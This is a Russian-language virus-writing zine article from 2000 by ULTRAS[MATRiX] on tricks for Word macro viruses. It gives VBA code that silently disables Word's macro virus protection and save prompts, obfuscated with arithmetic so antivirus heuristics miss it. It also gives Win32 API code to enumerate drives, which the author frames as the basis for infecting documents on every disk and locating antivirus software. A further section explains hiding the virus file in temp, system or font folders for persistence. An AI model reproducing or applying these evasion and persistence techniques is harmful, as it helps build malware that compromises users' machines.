|
|
Это продолжение статьй которая была опубликована в Top Device за май.
Я очень коротко опишу всякие феньки для макро вирусов...
Оглавление
~~~~~~~~~~
1. АнтиХеристика
2. Поиск по дискам
(util source)
3. Temp директория
АнтиХеристика
*************
Решил я написать вир который бы не дектился AV, пришлось не сладко, но
всетаки я его написал. Теперь о том что я использовал в моем вирусе....
Вот у вас например в вирусе есть строка типа:
Options.Virusprotection = False
отключение w0rd virus protection...
Это строку надо поменять на что нибудь типа:
Set suxOption = Options
suxOption.VirusProtection = False
Это уже лучше... только блин False все портит надо его заменить...
Если в w0rd`е:
false = 0
true = 1
то прото нам надо сгенерировать число например 225 и вычистить 225
получиться 0 тоесть false...
num = Int(Rnd * 5) + 1
'<= генерируем любое число от 0 до 5
Set suxOption = Options
'<= ставим метку
suxOption.VirusProtection = (num-num)
'<= отключаем w0rd virus protection
так уже сложнее будет av. Теперь если в вмрусе повторяются команды с
Options ну типа:
Options.ConfirmConversions = False
Options.SaveNormalPrompt = False
Options.Virusprotection = False
Это можно оптимизировать...
num = Int(Rnd * 5) + 1
'<= генерируем любое число от 0 до 5
Set suxOption = Options
'<= ставим метку
With suxOption
'<= используем метку
.ConfirmConversions = (num-num)
'<= отключаем плохие функций w0rd
.SaveNormalPrompt = (num-num)
.VirusProtection = (num-num)
End With
Конечно тут нужно использовать полиморфик который бы менял метки и
каждый раз генерировал новые, но это я опишу в следующий раз. Главное
чтобы код вируса был не похож на остальные виры...
Поиск по дискам
~~~~~~~~~~~~~~~
Когда я начал писать статью я закончил вещь которая искала и заражала
доки во всех каталогов всех дисков. Написал я специально для этой статьй
маленькую программу которая показывает состояние диска.
Вот что нам понадобится:
' 2 api функций виндов
Declare Function GetLogicalDriveStrings Lib "Kernel32" Alias "GetLogicalDriveStringsA" _
(ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Declare Function GetDriveType Lib "kernel32.dll" Alias "GetDriveTypeA" _
(ByVal nDrive As String) As Long
'GetDriveType константы прямо как в win32
Public Const DRIVE_REMOVABLE = 2
Public Const DRIVE_FIXED = 3
Public Const DRIVE_REMOTE = 4
Public Const DRIVE_CDROM = 5
Public Const DRIVE_RAMDISK = 6
'Сама программа
'**************
'Программа показывает какие диски у вас есть на машине.
'Это программу вы можите переделать под поиск на диске
'например mIRC каталога,
'AV программ и много другого.
Sub UltraDisk()
'UltraDisk by ULTRAS[MATRiX]
'(c) 13 julu 2000
Dim Drive$, DriveType$, yz&
Dim Success&, x&, y&, z&
Dim DriveLetters As String * 256
On Error Resume Next
Dim Msg As String
DriveLetters = 255
Success = GetLogicalDriveStrings(255, DriveLetters)
Do
x = y + 1
z = z + 1
y = InStr(x, DriveLetters, "\")
Drive = Mid$(DriveLetters, y - 2, 3)
yz = GetDriveType(Drive)
Select Case yz
Case 2: DriveType = "removable drive."
Case 3: DriveType = "fixed drive."
Case 4: DriveType = "remote drive."
Case 5: DriveType = "CDROM drive."
Case 6: DriveType = "ramdisk."
End Select
MsgBox "Drive " & Drive & " is a " & DriveType, vbOKOnly + vbInformation, "UltraDisk by ULTRAS[MATRiX]"
Loop Until y = 0
End Sub
TEMP Directory
~~~~~~~~~~~~~~
Если вы используете при заражений EXPORT/IMPORT файл(вирусный файл),
то для скрытия своего вируса в системе лучше всего не бросать файл в
корень диска C, а кидать вирусный файл туда где его точно не найдут. У
меня многие знакомые имеют директорию Windows/temp по 29 мегов это для
них не предел и не херят там файлы, так что вирус у такого пользователя
долго продержиться.
Маленький исходник как получить путь к temp директории.
Declare Function GetTempPath Lib "Kernel32" Alias "GetTempPathA" _
(ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private Sub cGetTempPath()
Dim Success&, TempDir$
TempDir = Space(255)
Success = GetTempPath(255, TempDir)
MsgBox "Temp директория находиться : " & TempDir, vbOKOnly + vbInformation
End Sub
Лучше всего для вирусов которые используют EXPORT/IMPORT файл(вирусный
файл) копировать свое тело в несколько мест: например в windows,
windows/system, windows/temp или лучше как шрифт в fonts каталог:). А
потом проверять на наличе вирусного файла в этих каталогах.
ULTRAS[MATRiX]
8 июня 2000
|
|